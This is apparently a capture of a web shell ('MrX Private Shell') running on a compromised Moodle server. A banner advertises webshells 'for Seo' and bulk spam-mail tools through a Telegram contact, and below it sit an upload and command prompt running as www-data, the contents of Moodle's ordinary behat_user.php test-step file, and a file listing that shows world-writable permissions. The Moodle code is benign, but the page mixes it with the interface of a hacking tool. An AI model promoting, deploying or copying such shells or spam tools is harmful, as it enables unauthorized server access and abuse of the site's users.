__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * User steps definition.
 *
 * @package    core_user
 * @category   test
 * @copyright  2017 Damyon Wiese
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

// NOTE: no MOODLE_INTERNAL test here, this file may be required by behat before including /config.php.

require_once(__DIR__ . '/../../../lib/behat/behat_base.php');

use Behat\Mink\Exception\ExpectationException as ExpectationException;

/**
 * Steps definitions for users.
 *
 * @package    core_user
 * @category   test
 * @copyright  2017 Damyon Wiese
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class behat_user extends behat_base {

    /**
     * Choose from the bulk action menu.
     *
     * @Given /^I choose "(?P<nodetext_string>(?:[^"]|\\")*)" from the participants page bulk action menu$/
     * @param string $nodetext The menu item to select.
     */
    public function i_choose_from_the_participants_page_bulk_action_menu($nodetext) {
        $this->execute("behat_forms::i_set_the_field_to", [
            "With selected users...",
            $this->escape($nodetext)
        ]);
    }

    /**
     * Deletes a user.
     *
     * @Given the user :identifier is deleted
     * @param string $identifier
     */
    #[\core\attribute\example('And the user student1 is deleted')]
    public function the_user_is_deleted($identifier) {
        global $DB;
        $userid = $this->get_user_id_by_identifier($identifier);
        if (!$userid) {
            throw new moodle_exception('The specified user with username or email "' . $identifier . '" does not exist');
        }
        delete_user($DB->get_record('user', ['id' => $userid]));
    }

    /**
     * The input field should have autocomplete set to this value.
     *
     * @Then /^the field "(?P<field_string>(?:[^"]|\\")*)" should have purpose "(?P<purpose_string>(?:[^"]|\\")*)"$/
     * @param string $field The field to select.
     * @param string $purpose The expected purpose.
     */
    public function the_field_should_have_purpose($field, $purpose) {
        $fld = behat_field_manager::get_form_field_from_label($field, $this);

        $value = $fld->get_attribute('autocomplete');
        if ($value != $purpose) {
            $reason = 'The "' . $field . '" field does not have purpose "' . $purpose . '"';
            throw new ExpectationException($reason, $this->getSession());
        }
    }

    /**
     * The input field should not have autocomplete set to this value.
     *
     * @Then /^the field "(?P<field_string>(?:[^"]|\\")*)" should not have purpose "(?P<purpose_string>(?:[^"]|\\")*)"$/
     * @param string $field The field to select.
     * @param string $purpose The expected purpose we do not want.
     */
    public function the_field_should_not_have_purpose($field, $purpose) {
        $fld = behat_field_manager::get_form_field_from_label($field, $this);

        $value = $fld->get_attribute('autocomplete');
        if ($value == $purpose) {
            throw new ExpectationException('The "' . $field . '" field does have purpose "' . $purpose . '"', $this->getSession());
        }
    }

    /**
     * Convert page names to URLs for steps like 'When I am on the "[page name]" page'.
     *
     * Recognised page names are:
     * | Page name            | Description                                                 |
     * | Contact Site Support | The Contact Site Support page (user/contactsitesupport.php) |
     *
     * @param string $page name of the page, with the component name removed e.g. 'Admin notification'.
     * @return moodle_url the corresponding URL.
     * @throws Exception with a meaningful error message if the specified page cannot be found.
     */
    protected function resolve_page_url(string $page): moodle_url {

        switch (strtolower($page)) {
            case 'contact site support':
                return new moodle_url('/user/contactsitesupport.php');

            default:
                throw new Exception("Unrecognised core_user page type '{$page}'.");
        }
    }

    /**
     * Convert page names to URLs for steps like 'When I am on the "[identifier]" "[page type]" page'.
     *
     * Recognised page names are:
     * | Page Type | Identifier meaning | Description                                |
     * | editing   | username or email  | User editing page (/user/editadvanced.php) |
     * | profile   | username or email  | User profile page (/user/profile.php) |
     *
     * @param string $type identifies which type of page this is, e.g. 'Editing'.
     * @param string $identifier identifies the user, e.g. 'student1'.
     * @return moodle_url the corresponding URL.
     * @throws Exception with a meaningful error message if the specified page cannot be found.
     */
    protected function resolve_page_instance_url(string $type, string $identifier): moodle_url {

        switch (strtolower($type)) {
            case 'editing':
                $userid = $this->get_user_id_by_identifier($identifier);
                if (!$userid) {
                    throw new Exception('The specified user with username or email "' .
                        $identifier . '" does not exist');
                }
                return new moodle_url('/user/editadvanced.php', ['id' => $userid]);
            case 'profile':
                $userid = $this->get_user_id_by_identifier($identifier);
                if (!$userid) {
                    throw new Exception('The specified user with username or email "' . $identifier . '" does not exist');
                }
                return new moodle_url('/user/profile.php', ['id' => $userid]);
            default:
                throw new Exception("Unrecognised page type '{$type}'.");
        }
    }
}

Filemanager

Name Type Size Permission Actions
add_blocks.feature File 858 B 0777
addnewuser.feature File 725 B 0777
behat_user.php File 6.31 KB 0777
bulk_editenrolment.feature File 3.94 KB 0777
bulk_message.feature File 1.49 KB 0777
contact_site_support.feature File 5.39 KB 0777
custom_profile_fields.feature File 13.99 KB 0777
custom_profile_fields_manual.feature File 1.83 KB 0777
delete_users.feature File 5.31 KB 0777
edit_profile_notification.feature File 2.03 KB 0777
edit_user_enrolment.feature File 6.8 KB 0777
edit_user_roles.feature File 1.62 KB 0777
edituserpassword.feature File 1.99 KB 0777
enrol_cohort_list.feature File 2.2 KB 0777
filter_idnumber.feature File 3.82 KB 0777
filter_participants.feature File 48.29 KB 0777
filter_participants_showall.feature File 6.73 KB 0777
full_name_display.feature File 4.61 KB 0777
hidden_user_fields.feature File 2.09 KB 0777
input-purpose.feature File 1.82 KB 0777
name_fields.feature File 2.91 KB 0777
participants_in_group_modes.feature File 9.9 KB 0777
reset_page.feature File 908 B 0777
set_default_homepage.feature File 3.16 KB 0777
set_email_display.feature File 4.08 KB 0777
siteadmin_user_breadcrumbs.feature File 1.59 KB 0777
table_column_visibility.feature File 2.44 KB 0777
table_sorting.feature File 2.98 KB 0777
user_grade_navigation.feature File 4.35 KB 0777
user_permission.feature File 1.17 KB 0777
user_private_files.feature File 996 B 0777
view_full_profile.feature File 7.36 KB 0777
view_participants.feature File 15.08 KB 0777
view_participants_groups.feature File 3.37 KB 0777
view_preferences_page.feature File 3.32 KB 0777
Filemanager